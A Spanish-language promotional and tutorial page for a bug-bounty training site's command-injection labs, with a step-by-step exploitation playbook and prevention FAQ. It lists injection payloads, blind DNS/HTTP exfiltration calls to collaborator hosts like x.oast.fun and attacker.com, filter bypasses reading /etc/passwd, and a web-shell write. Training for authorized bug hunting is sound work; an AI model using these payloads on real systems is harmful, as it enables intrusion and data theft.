Labs de Command Injection

OS Command Injection

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

¿Qué es Command Injection?

La Command Injection ocurre cuando entrada del usuario se concatena en una llamada a shell del sistema operativo. Permite ejecutar comandos arbitrarios con los privilegios del proceso web — habitualmente RCE inmediata y comprometer toda la máquina.

¿Por qué practicar Command Injection?

Es una de las pocas vulnerabilidades que da RCE directa sin chains complejas. Aparece en features de export (PDF generators, image conversion via ffmpeg/imagemagick), tools admin (ping/whois/traceroute) y wrappers de scripts shell. Bounties: P1 inmediato, $5,000-$50,000.

¿Qué aprenderás con los labs de Command Injection?

Aprenderás separadores que pasan filtros débiles (`;` `&&` `||` `|` `$()` backticks), técnicas blind con DNS callback (curl `attacker.com/$(whoami)`), exfil via timing y bypass de blacklists con bash brace expansion ({c,a,t} /etc/passwd).

Tipos de Command Injection que cubrimos

  • In-band

    El output del comando se devuelve en la respuesta HTTP. El más fácil de detectar (probar `id` y ver `uid=33(www-data)`).

  • Blind

    Sin output visible. Detectas con sleep / DNS callback / file write. Confirmas con `; sleep 10` y comparas latencia.

  • Argument injection

    El parámetro va a un comando como argumento (ej. ffmpeg -i FILE). Inyectar `--config /tmp/x` o `-y -filter_complex ...` para abusar del binario.

¿Cómo encontrar y explotar Command Injection?

Playbook práctico — del recon a la prueba de concepto.

  1. 1

    Encontrar features que llaman a la shell

    Herramientas de red (ping, nslookup, traceroute, whois), conversores (ffmpeg, imagemagick), exportadores y wrappers de scripts son los nidos típicos.

    POST /tools/ping   {"host":"8.8.8.8"}
  2. 2

    Inyectar un separador

    Encadena tu comando con separadores de shell. Empieza por uno in-band para ver el output directamente.

    8.8.8.8; id   ·   8.8.8.8 && id   ·   8.8.8.8 | id
  3. 3

    Confirmar a ciegas

    Sin output, mide latencia con sleep o usa una sustitución de comando dentro de un ping para ver retardo, y un callback DNS para exfiltrar.

    8.8.8.8 & sleep 10   ·   8.8.8.8; nslookup `whoami`.x.oast.fun
  4. 4

    Exfiltrar por DNS/HTTP

    Mete la salida del comando en un subdominio o path de tu collaborator. Funciona aunque la respuesta HTTP no muestre nada.

    ; curl http://x.oast.fun/$(id|base64)
  5. 5

    Bypassear blacklists y filtros

    Si filtran espacios o palabras, usa ${IFS}, brace expansion, comillas intercaladas o variables para reconstruir el comando.

    {cat,/etc/passwd}   ·   c\at /etc/pas$@swd   ·   cat${IFS}/etc/passwd
  6. 6

    Detectar argument injection

    Si tu input es un argumento (no toda la línea), abusa de flags del binario para leer/escribir ficheros o lanzar otro proceso.

    ffmpeg -i "FILE" → FILE = '-i /etc/passwd -f data ...' / curl -o /var/www/shell.php

Preguntas frecuentes

¿Qué es la Command Injection?

Es una vulnerabilidad en la que input del usuario se concatena en una llamada a la shell del sistema operativo, permitiendo ejecutar comandos arbitrarios con los privilegios del proceso web. Suele ser RCE directa.

¿Cómo se explota una Command Injection?

Se inyecta un separador de shell (;, &&, |, $(), backticks) seguido del comando deseado. Si hay output se ve en la respuesta (in-band); si no, se confirma a ciegas con sleep o un callback DNS y se exfiltra la salida codificada.

¿Cómo encontrar Command Injection en bug bounty?

Apunta a features que invocan binarios del sistema: ping/traceroute, conversores de imagen/PDF (ffmpeg, imagemagick), exportadores y herramientas admin. Inyecta separadores y un callback DNS; si recibes la interacción, hay RCE.

¿Cómo prevenir la Command Injection?

Evita llamar a la shell con input del usuario; usa APIs nativas del lenguaje en lugar de comandos, pasa argumentos como array (sin shell intermedia), aplica allowlist estricta de valores y nunca interpoles strings en exec/system.

¿Diferencia entre Command Injection y Code Injection?

La Command Injection ejecuta comandos del sistema operativo a través de la shell. La Code Injection (p. ej. SSTI o eval) ejecuta código en el lenguaje de la aplicación. Ambas acaban a menudo en RCE, pero el vector y los payloads son distintos.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Practica Command Injection en labs reales

Cada lab de Command Injection replica un reporte real de bug bounty que se pagó. Crea tu cuenta gratis, empieza por la Academy y pasa a los labs cuando quieras.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.